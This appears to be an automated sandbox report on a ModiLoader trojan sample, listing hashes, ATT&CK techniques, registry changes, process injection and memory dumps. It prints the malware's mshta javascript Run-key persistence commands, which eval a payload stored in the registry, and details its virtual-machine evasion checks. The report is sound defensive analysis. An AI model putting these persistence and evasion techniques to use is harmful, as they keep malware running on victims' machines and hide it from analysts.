modiloader | 8862575941918714c1fdf28bee9c6ffd23d00746b1982d1f2d60ad76dceda4ac

General

Target

8862575941918714c1fdf28bee9c6ffd23d00746b1982d1f2d60ad76dceda4ac.exe
Size

367KB
MD5

be18c769b074b6c33024bacf89b00545
SHA1

3542792f1ceea460c1a152e7d8d2bb98339e49bf
SHA256

8862575941918714c1fdf28bee9c6ffd23d00746b1982d1f2d60ad76dceda4ac
SHA512

5d1f11337e734c75428751dd527f9896561e1043975e0a8c4e23f1b6cee2b056bbadd7dfa3a7af76793023055d2bce14050dfa69f7a94705d89be12c7562c651
SSDEEP

6144:V8CiJn+2dlueiAg4mvZl+i0bsvQYzNtzvMOZ31jppIELz3JgtCJuigau:bi9+2jjRyl+u5znz0e31jbI0JgIo

Score

10^/10

modiloader evasion persistence trojan

Malware Config

Signatures

ModiLoader, DBatLoader
ModiLoader is a Delphi loader that misuses cloud services to download other malicious families.
trojan modiloader
Checks for common network interception software 1 TTPs
Looks in the registry for tools like Wireshark or Fiddler commonly used to analyze network activity.
evasion

Software Discovery
T1518
Looks for VirtualBox Guest Additions in registry 2 TTPs 1 IoCs
evasion

Query Registry
T1012

Virtualization/Sandbox Evasion
T1497

Processes:

svchost.exe

description ioc process

Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Oracle\VirtualBox Guest Additions svchost.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Oracle\VirtualBox Guest Additions	svchost.exe

ModiLoader Second Stage 7 IoCs

Processes:

resource	yara_rule
behavioral1/memory/2016-56-0x0000000000400000-0x0000000000461000-memory.dmp	modiloader_stage2
behavioral1/memory/588-61-0x00000000000C0000-0x000000000017C000-memory.dmp	modiloader_stage2
behavioral1/memory/1940-65-0x0000000000080000-0x000000000013C000-memory.dmp	modiloader_stage2
behavioral1/memory/588-66-0x00000000000C0000-0x000000000017C000-memory.dmp	modiloader_stage2
behavioral1/memory/1552-71-0x0000000000160000-0x000000000021C000-memory.dmp	modiloader_stage2
behavioral1/memory/1552-72-0x0000000000160000-0x000000000021C000-memory.dmp	modiloader_stage2
behavioral1/memory/1940-73-0x0000000000080000-0x000000000013C000-memory.dmp	modiloader_stage2

Adds policy Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

svchost.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run	svchost.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\ = "mshta javascript:dyIoH9Ri6=\"TzzYuWRA\";pU55=new%20ActiveXObject(\"WScript.Shell\");L7ysMQ6fQ=\"u\";s2HAO=pU55.RegRead(\"HKLM\\\\software\\\\Wow6432Node\\\\fc950f6a\\\\fcabb5cb\");okTC0zVh=\"G5XeLLTeS8\";eval(s2HAO);aNHMCkD1=\"0d63sKsSiU\";"	svchost.exe

Looks for VMWare Tools registry key 2 TTPs 1 IoCs
evasion

Query Registry
T1012

Virtualization/Sandbox Evasion
T1497

Processes:

svchost.exe

description ioc process

Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\VMware, Inc.\VMware Tools svchost.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\VMware, Inc.\VMware Tools	svchost.exe

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

svchost.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	svchost.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	svchost.exe

Deletes itself 1 IoCs

Processes:

svchost.exe

pid process

588 svchost.exe

pid	process
588	svchost.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

svchost.exe

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\ = "mshta javascript:AovOSHZ3=\"2XhK50\";tJ75=new%20ActiveXObject(\"WScript.Shell\");bIN3vjxMd=\"V\";DhO2o9=tJ75.RegRead(\"HKLM\\\\software\\\\Wow6432Node\\\\fc950f6a\\\\fcabb5cb\");rXr5SUJh=\"lt3om\";eval(DhO2o9);ud7mC2ECbi=\"8HIgk2\";"	svchost.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3385717845-2518323428-350143044-1000\Software\Microsoft\Windows\CurrentVersion\Run\ = "mshta javascript:PJya9Ne3Js=\"g2S2\";x9w=new%20ActiveXObject(\"WScript.Shell\");HdSX23wUad=\"yI72NsjNP8\";w3SLc8=x9w.RegRead(\"HKCU\\\\software\\\\fc950f6a\\\\fcabb5cb\");P9MtYV3aun=\"U\";eval(w3SLc8);ejS39aDe=\"V2PyUG\";"	svchost.exe

Maps connected drives based on registry 3 TTPs 2 IoCs

Disk information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

svchost.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum	svchost.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\Disk\Enum\0	svchost.exe

Modifies Internet Explorer settings 1 TTPs 10 IoCs

adware spyware

Modify Registry

T1112

Processes:

svchost.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-3385717845-2518323428-350143044-1000\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3385717845-2518323428-350143044-1000\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\svchost.exe = "0"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3385717845-2518323428-350143044-1000\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\explorer.exe = "0"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3385717845-2518323428-350143044-1000\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\iexplore.exe = "0"	svchost.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\MAIN\FeatureControl\FEATURE_BROWSER_EMULATION\explorer.exe = "0"	svchost.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\MAIN\FeatureControl\FEATURE_BROWSER_EMULATION\iexplore.exe = "0"	svchost.exe
Key created	\REGISTRY\USER\S-1-5-21-3385717845-2518323428-350143044-1000\Software\Microsoft\Internet Explorer\Main\FeatureControl	svchost.exe
Key created	\REGISTRY\USER\S-1-5-21-3385717845-2518323428-350143044-1000\Software\Microsoft\Internet Explorer\International	svchost.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION	svchost.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\MAIN\FeatureControl\FEATURE_BROWSER_EMULATION\svchost.exe = "0"	svchost.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

8862575941918714c1fdf28bee9c6ffd23d00746b1982d1f2d60ad76dceda4ac.exesvchost.exe

pid	process
2016	8862575941918714c1fdf28bee9c6ffd23d00746b1982d1f2d60ad76dceda4ac.exe
2016	8862575941918714c1fdf28bee9c6ffd23d00746b1982d1f2d60ad76dceda4ac.exe
2016	8862575941918714c1fdf28bee9c6ffd23d00746b1982d1f2d60ad76dceda4ac.exe
2016	8862575941918714c1fdf28bee9c6ffd23d00746b1982d1f2d60ad76dceda4ac.exe
2016	8862575941918714c1fdf28bee9c6ffd23d00746b1982d1f2d60ad76dceda4ac.exe
2016	8862575941918714c1fdf28bee9c6ffd23d00746b1982d1f2d60ad76dceda4ac.exe
588	svchost.exe
588	svchost.exe
588	svchost.exe
588	svchost.exe
588	svchost.exe
588	svchost.exe
588	svchost.exe
588	svchost.exe
588	svchost.exe
588	svchost.exe
588	svchost.exe
588	svchost.exe
588	svchost.exe
588	svchost.exe
588	svchost.exe
588	svchost.exe
588	svchost.exe
588	svchost.exe
588	svchost.exe
588	svchost.exe
588	svchost.exe
588	svchost.exe
588	svchost.exe
588	svchost.exe
588	svchost.exe
588	svchost.exe
588	svchost.exe
588	svchost.exe
588	svchost.exe
588	svchost.exe
588	svchost.exe
588	svchost.exe
588	svchost.exe
588	svchost.exe
588	svchost.exe
588	svchost.exe
588	svchost.exe
588	svchost.exe
588	svchost.exe
588	svchost.exe
588	svchost.exe
588	svchost.exe
588	svchost.exe
588	svchost.exe
588	svchost.exe
588	svchost.exe
588	svchost.exe
588	svchost.exe
588	svchost.exe
588	svchost.exe
588	svchost.exe
588	svchost.exe
588	svchost.exe
588	svchost.exe
588	svchost.exe
588	svchost.exe
588	svchost.exe
588	svchost.exe

Suspicious behavior: MapViewOfSection 6 IoCs

Processes:

8862575941918714c1fdf28bee9c6ffd23d00746b1982d1f2d60ad76dceda4ac.exesvchost.exe

pid	process
2016	8862575941918714c1fdf28bee9c6ffd23d00746b1982d1f2d60ad76dceda4ac.exe
2016	8862575941918714c1fdf28bee9c6ffd23d00746b1982d1f2d60ad76dceda4ac.exe
588	svchost.exe
588	svchost.exe
588	svchost.exe
588	svchost.exe

Suspicious use of WriteProcessMemory 12 IoCs

Processes:

8862575941918714c1fdf28bee9c6ffd23d00746b1982d1f2d60ad76dceda4ac.exesvchost.exe

description	pid	process	target process
PID 2016 wrote to memory of 588	2016	8862575941918714c1fdf28bee9c6ffd23d00746b1982d1f2d60ad76dceda4ac.exe	svchost.exe
PID 2016 wrote to memory of 588	2016	8862575941918714c1fdf28bee9c6ffd23d00746b1982d1f2d60ad76dceda4ac.exe	svchost.exe
PID 2016 wrote to memory of 588	2016	8862575941918714c1fdf28bee9c6ffd23d00746b1982d1f2d60ad76dceda4ac.exe	svchost.exe
PID 2016 wrote to memory of 588	2016	8862575941918714c1fdf28bee9c6ffd23d00746b1982d1f2d60ad76dceda4ac.exe	svchost.exe
PID 588 wrote to memory of 1940	588	svchost.exe	svchost.exe
PID 588 wrote to memory of 1940	588	svchost.exe	svchost.exe
PID 588 wrote to memory of 1940	588	svchost.exe	svchost.exe
PID 588 wrote to memory of 1940	588	svchost.exe	svchost.exe
PID 588 wrote to memory of 1552	588	svchost.exe	explorer.exe
PID 588 wrote to memory of 1552	588	svchost.exe	explorer.exe
PID 588 wrote to memory of 1552	588	svchost.exe	explorer.exe
PID 588 wrote to memory of 1552	588	svchost.exe	explorer.exe

C:\Users\Admin\AppData\Local\Temp\8862575941918714c1fdf28bee9c6ffd23d00746b1982d1f2d60ad76dceda4ac.exe
"C:\Users\Admin\AppData\Local\Temp\8862575941918714c1fdf28bee9c6ffd23d00746b1982d1f2d60ad76dceda4ac.exe"
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:2016

C:\Windows\SysWOW64\svchost.exe
"svchost.exe"
2⤵
- Looks for VirtualBox Guest Additions in registry
- Adds policy Run key to start application
- Looks for VMWare Tools registry key
- Checks BIOS information in registry
- Deletes itself
- Adds Run key to start application
- Maps connected drives based on registry
- Modifies Internet Explorer settings
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:588

C:\Windows\SysWOW64\svchost.exe
"C:\Windows\SysWOW64\svchost.exe"
3⤵
PID:1940

C:\Windows\SysWOW64\explorer.exe
"explorer.exe"
3⤵
PID:1552

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

2

T1060

Privilege Escalation

Defense Evasion

Modify Registry

3

T1112

Virtualization/Sandbox Evasion

2

T1497

Credential Access

Discovery

Peripheral Device Discovery

Query Registry

Software Discovery

System Information Discovery

2

T1082

Virtualization/Sandbox Evasion

2

T1497

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/588-58-0x0000000000650000-0x0000000000658000-memory.dmp

Filesize
32KB

Download
memory/588-66-0x00000000000C0000-0x000000000017C000-memory.dmp

Filesize
752KB

Download
memory/588-61-0x00000000000C0000-0x000000000017C000-memory.dmp

Filesize
752KB

Download
memory/588-57-0x0000000000000000-mapping.dmp

Download
memory/1552-69-0x00000000745A1000-0x00000000745A3000-memory.dmp

Filesize
8KB

Download
memory/1552-67-0x0000000000000000-mapping.dmp

Download
memory/1552-70-0x00000000004D0000-0x0000000000751000-memory.dmp

Filesize
2.5MB

Download
memory/1552-71-0x0000000000160000-0x000000000021C000-memory.dmp

Filesize
752KB

Download
memory/1552-72-0x0000000000160000-0x000000000021C000-memory.dmp

Filesize
752KB

Download
memory/1940-62-0x0000000000000000-mapping.dmp

Download
memory/1940-64-0x0000000000650000-0x0000000000658000-memory.dmp

Filesize
32KB

Download
memory/1940-65-0x0000000000080000-0x000000000013C000-memory.dmp

Filesize
752KB

Download
memory/1940-73-0x0000000000080000-0x000000000013C000-memory.dmp

Filesize
752KB

Download
memory/2016-59-0x00000000022F0000-0x0000000002320000-memory.dmp

Filesize
192KB

Download
memory/2016-56-0x0000000000400000-0x0000000000461000-memory.dmp

Filesize
388KB

Download
memory/2016-55-0x00000000022F0000-0x0000000002320000-memory.dmp

Filesize
192KB

Download
memory/2016-54-0x0000000075891000-0x0000000075893000-memory.dmp

Filesize
8KB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads